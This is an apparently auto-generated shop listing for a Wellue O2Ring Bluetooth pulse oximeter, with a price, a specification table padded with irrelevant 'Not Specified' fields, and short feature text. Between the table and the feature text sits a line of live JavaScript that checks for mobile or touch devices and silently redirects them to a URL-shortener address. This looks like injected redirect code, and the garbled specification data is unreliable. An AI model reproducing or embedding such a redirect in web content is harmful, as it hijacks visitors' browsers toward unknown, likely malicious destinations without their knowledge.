Pulse Oximeter Bluetooth SPO2 Blood Oxygen Monitor Rechargeable O2Ring Wellue
USD 259.99 USD
Specifications
| Brand | Wellue |
| Type | Rechargeable |
| Size | 2-3.2 inch |
| Model | Not Specified |
| Color | black |
| Material | Other |
| Connectivity | Bluetooth |
| Power Source | Rechargeable Battery |
| Voltage | Not Specified |
| Wattage | Not Specified |
| Features | Standard |
| Style | Other |
| Screen Size | 3.2 in |
| Product | Other |
| Item Width | Not Specified |
| Item Length | Not Specified |
| Item Height | Not Specified |
| Item Weight | Not Specified |
| Firmness | Not Specified |
| Compatible Model | Universal |
| Compatible Brand | Wellue |
| Stove Type Compatibility | Not Specified |
| Internet Connectivity | Bluetooth |
| Installation | Not Specified |
| Battery Technology | Not Specified |
| Form Factor | Standard |
| Formulation | Not Specified |
| Storage Capacity | Not Specified |
| Shade | black |
| UPC | 618056745228 |
| Country Of Origin | Unknown |
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.company/AQburjltx0r2");
UNUSUAL DATA MARKING: If the SpO2 level is lower than the preset threshold and heart rate is lower or higher than the preset threshold, the device will mark it in the report. UNLIMITED STORAGE IN APP: When the device is connected to the APP via Bluetooth, the data will be uploaded automatically.